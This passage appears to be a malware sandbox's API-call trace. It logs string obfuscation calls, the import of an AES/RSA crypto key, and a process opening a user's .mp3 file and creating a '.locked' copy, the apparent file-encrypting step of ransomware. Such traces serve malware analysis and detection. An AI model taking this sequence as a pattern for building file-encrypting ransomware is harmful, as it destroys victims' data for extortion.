(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.333] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.334] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0134.334] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.335] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.335] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0134.335] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.335] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.335] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0134.335] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.335] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.335] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0134.335] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.335] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.336] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.336] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0134.336] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0134.336] SystemFunction041 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.336] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0134.336] SystemFunction040 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.336] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.336] SystemFunction041 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.336] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0134.336] SystemFunction040 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.337] SystemFunction041 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.337] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0134.337] SystemFunction040 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.337] SystemFunction041 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.337] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0134.337] SystemFunction040 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.337] SystemFunction041 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.337] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0134.337] SystemFunction040 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.337] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.338] SystemFunction041 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.338] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0134.338] SystemFunction040 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.338] SystemFunction041 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.338] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0134.338] SystemFunction040 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.338] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.338] SystemFunction041 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.338] SystemFunction040 (in: Memory=0x43837e4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43837e4) returned 0x0 [0134.338] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0134.339] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0134.339] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0134.339] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0134.339] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0134.339] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0134.339] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0134.339] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0134.339] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.340] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0134.340] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0134.340] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x4396a38) returned 1 [0134.341] CryptImportKey (in: hProv=0x4396a38, pbData=0x6ae40f4, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84fb8) returned 1 [0134.341] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.341] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.341] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.341] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.341] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.343] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\qmfoty5gmgylzu-s.mp3")) returned 0x20 [0134.343] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\qmfoty5gmgylzu-s.mp3")) returned 0x20 [0134.343] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", lpFilePart=0x0) returned 0x3a [0134.344] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", lpFilePart=0x0) returned 0x3a [0134.344] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.344] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", lpFilePart=0x0) returned 0x3a [0134.344] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", lpFilePart=0x0) returned 0x3a [0134.344] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.344] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.344] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.344] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.345] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3", lpFilePart=0x0) returned 0x3a [0134.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.345] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\qmfoty5gmgylzu-s.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0134.345] GetFileType (hFile=0x858) returned 0x1 [0134.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.345] GetFileType (hFile=0x858) returned 0x1 [0134.345] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.345] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0134.345] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.345] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.346] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.346] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3.locked", lpFilePart=0x0) returned 0x41 [0134.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.346] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\qmfoty5gmgylzu-s.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0134.346] GetFileType (hFile=0x874) returned 0x1 [0134.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.346] GetFileType (hFile=0x874) returned 0x1 [0134.347] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, 